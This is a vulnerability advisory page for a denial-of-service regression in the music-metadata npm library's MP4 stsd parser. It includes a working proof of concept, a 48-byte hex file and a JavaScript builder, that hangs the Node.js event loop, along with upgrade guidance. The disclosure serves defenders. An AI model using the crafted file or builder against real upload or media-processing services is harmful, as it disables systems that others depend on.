Skip to main content

CVE-2026-107391: CWE-400: Uncontrolled Resource Consumption in Borewit music-metadata

0
Medium
Published: 10/08/2026 (10/08/2026, 19:43:25 UTC)
Source: CVE Database V5
Vendor/Project: Borewit
Product: music-metadata

Description

### Summary `StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`. This is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships. ### Details `lib/mp4/AtomToken.ts`, `StsdAtom.get()`: ```ts for (let n = 0; n < header.numberOfEntries; ++n) { const size = Token.UINT32_BE.get(buf, off); // attacker-controlled entry size off += Token.UINT32_BE.len; // +4 (skip the size field) table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off)); off += size - Token.UINT32_BE.len; // net advance = size - 4 } ``` - Introduced by commit `d2a7d6f` ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size < 4`. - With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration. - `StsdAtom.get` is invoked synchronously from `strtok3`'s `AbstractTokenizer.readToken` — there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`'s unbounded growth means it will also eventually exhaust memory if not killed first. - The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That's why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug. ### PoC 48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`. ``` hex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001 sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80 ``` This builds the malicious buffer inline: ```js import { parseBuffer } from 'music-metadata'; const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff); const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff]; const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; }; const zeros = (n) => new Array(n).fill(0); function build(entryCount, entrySize) { const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0)); const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry const payload = cat(stsdHeader, entry); const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload); return Uint8Array.from(cat(ftyp, stsd)); } const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0 console.log('parsing', hang.length, 'byte file …'); await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop console.log('unreachable'); ``` ``` $ timeout 8 node poc.mjs parsing 48 byte file … # process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time ``` Control (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone. Version-scope control (same 48-byte file against the latest npm release, `[email protected]`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped. ### Impact Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding servic

CVSS v3.1

Score 6.2medium

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected software

Borewit

music-metadata

Affected versions
<11.16.0
music-metadata
pkg:npm/music-metadata
Affected versions
<11.16.0

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 10/08/2026, 20:49:52 UTC

Technical Analysis

The music-metadata library for parsing audio and video metadata contained a regression in the MP4 stsd sample-description parser introduced after version 11.14.0. This regression allows an attacker to craft an MP4-family input with a sample-entry size of zero and a controlled entry_count, causing the StsdAtom.get cursor not to advance and the synchronous loop to run indefinitely. This results in blocking the Node.js event loop and uncontrolled growth of the sample-description table, leading to memory exhaustion or process termination. The vulnerability is fixed in version 11.16.0.

Potential Impact

An attacker can supply a specially crafted MP4-family media file that triggers an infinite loop in the sample-description parser, blocking the Node.js event loop and causing the process to consume excessive memory until it terminates or crashes. This results in a denial of service (DoS) condition. There is no impact on confidentiality or integrity.

Mitigation Recommendations

Upgrade to music-metadata version 11.16.0 or later, where this issue is fixed. No other mitigations are indicated. Since this is a library vulnerability, users should ensure they do not use vulnerable versions in their applications.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Data Version
5.2
Assigner Short Name
GitHub_M
Date Reserved
2026-10-07T21:07:54.988Z
Cvss Version
3.1
State
PUBLISHED

Threat ID: 6ac7feef2cdf04f656318bfe

Added to database: 10/08/2026, 20:37:03 UTC

Last enriched: 10/08/2026, 20:49:52 UTC

Last updated: 10/08/2026, 21:45:48 UTC

Views: 8

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses